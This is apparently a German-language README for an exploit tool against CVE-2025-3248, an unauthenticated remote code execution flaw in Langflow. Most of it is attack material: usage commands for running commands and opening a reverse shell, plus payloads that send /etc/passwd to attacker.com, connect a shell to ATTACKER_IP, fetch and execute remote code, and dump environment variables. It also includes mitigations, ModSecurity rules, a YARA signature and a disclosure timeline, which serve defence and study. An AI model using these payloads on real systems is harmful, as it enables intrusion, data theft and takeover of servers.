
Ein umfassendes Python-Exploitation-Framework zum Testen und Demonstrieren von CVE-2025-3248, einer kritischen nicht authentifizierten Remote-Code-Ausführung-Sicherheitslücke in Langflow-Versionen ≤ 1.3.0.
Ein umfassendes Python-Exploitation-Framework zum Testen und Demonstrieren von CVE-2025-3248, einer kritischen unauthenticated Remote Code Execution-Schwachstelle in Langflow Versionen ≤ 1.3.0.
| Eigenschaft | Wert |
|---|---|
| CVE ID | CVE-2025-3248 |
| Produkt | Langflow |
| Betroffene Versionen | ≤ 1.3.0 |
| Schwachstellentyp | Nicht authentifizierte Remote Code Execution (RCE) |
| Angriffsvektor | Netzwerk |
| Authentifizierung erforderlich | Keine |
| CVSS-Score | 9.8 (Kritisch) |
| EPSS Score | 92.57% |
| CWE | CWE-94 (Unzureichende Kontrolle der Codegenerierung) |
| Verwundbarer Endpoint | /api/v1/validate/code |
Die Schwachstelle existiert im API-Endpoint /api/v1/validate/code, der beliebigen Python-Code akzeptiert und ihn mithilfe der unsicheren exec()-Funktion validiert, ohne ordnungsgemäße Eingabebereinigung oder Sandboxing. Die Schwachstelle nutzt das Verhalten von Python aus, bei dem:
Angreifer → POST /api/v1/validate/code → Python exec() → RCE
↓
Keine Authentifizierung erforderlich
↓
Beliebiger Python-Code
↓
Systembefehlsausführung
Python >= 3.7
requests >= 2.25.0
pip install requests
pip install colorama # For Windows color support
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py
python3 cve_2025_3248_test.py -t <target_url> [options]
python3 cve_2025_3248_test.py -t http://target.com
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"
Schritt 1: Starten Sie einen netcat-Listener auf Ihrem Rechner
nc -lvnp 4444
Schritt 2: Führen Sie den Exploit aus
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444
Beispiel:
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444
python3 cve_2025_3248_test.py -t http://target.com --timeout 30
positional arguments:
None
optional arguments:
-t, --target TARGET Ziel-URL (z. B. http://target.com) [ERFORDERLICH]
-c, --command COMMAND Auszuführender Befehl (Standard: id)
--timeout TIMEOUT Request-Timeout in Sekunden (Standard: 10)
--exploit Exploitation-Modus aktivieren (Reverse Shell)
--lhost LHOST Ihre IP-Adresse für Reverse Shell
--lport LPORT Ihr Port für Reverse Shell
-h, --help Diese Hilfemeldung anzeigen
payload = {
"code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
pass
"""
}
payload = {
"code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
pass
"""
}
payload = {
"code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
pass
"""
}
payload = {
"code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
pass
"""
}
payload = {
"code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
pass
"""
}
Langflow aktualisieren
pip install langflow>=1.3.0
# or
docker pull langflow:latest
Netzwerkzugriff einschränken
# Nginx reverse proxy - block vulnerable endpoint
location /api/v1/validate/code {
deny all;
}
Authentifizierung implementieren
# Add authentication middleware
@app.middleware("http")
async def auth_middleware(request, call_next):
if "/api/v1/validate/code" in request.url.path:
if not verify_auth(request):
return JSONResponse(status_code=401)
return await call_next(request)
ModSecurity-Regel:
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"
YARA-Signatur:
rule CVE_2025_3248_Langflow_RCE {
strings:
$api_path = "/api/v1/validate/code"
$exec = "exec("
$subprocess = "subprocess"
$os_system = "os.system"
condition:
$api_path and any of ($exec, $subprocess, $os_system)
}
# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes
/api/v1/validate/code/tmp erstelltDie Angriffskette funktioniert wie folgt:
# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{
"code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}
# Server processes it:
exec(code) # ← Gefährlich! Keine Bereinigung
# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')
# Ergebnis: Beliebige Befehlsausführung
Pythons Verhalten mit Dekorateuren während der Funktionsdefinition:
# Dieser Code wird sofort ausgeführt:
@decorator_expression
def my_function():
pass
# Das bedeutet, dieses Payload führt den Code aus:
@exec("malicious_code_here")
def vulnerable_function():
pass
Bei der Durchführung autorisierter Sicherheitstests:
Beiträge sind willkommen! Bitte befolgen Sie diese Richtlinien:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)WICHTIGER RECHTLICHER HINWEIS:
Dieses Tool wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist ILLEGAL und verletzt Gesetze wie:
Die Ersteller und Mitwirkenden übernehmen KEINE HAFTUNG für den Missbrauch dieses Tools.
Zuletzt aktualisiert: 21. November 2025
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0 ║
║ Use Responsibly - Authorized Testing Only ║
╚═══════════════════════════════════════════════════════════╝
| Datum | Ereignis |
|---|
| 2025-04-06 | Schwachstelle entdeckt und an Langflow-Team gemeldet |
| 2025-04-17 | Öffentlicher Exploit veröffentlicht (Exploit-DB) |
| 2025-05-14 | FortiguardLabs Outbreak Alarm ausgegeben |
| 2025-05-21 | Zscaler ThreatLabz Analyse veröffentlicht |
| 2025-05-22 | RecordedFuture berichtet über aktive Ausnutzung |
| 2025-06-16 | TrendMicro berichtet über FLODRIC Botnet-Ausnutzung |
| 2025-06-17 | OffSec umfassende Analyse veröffentlicht |
| 2025-11-05 | SentinelOne Schwachstellendatenbankeintrag |
| 2025-11-20 | Fortgesetzte Ausnutzungsversuche beobachtet |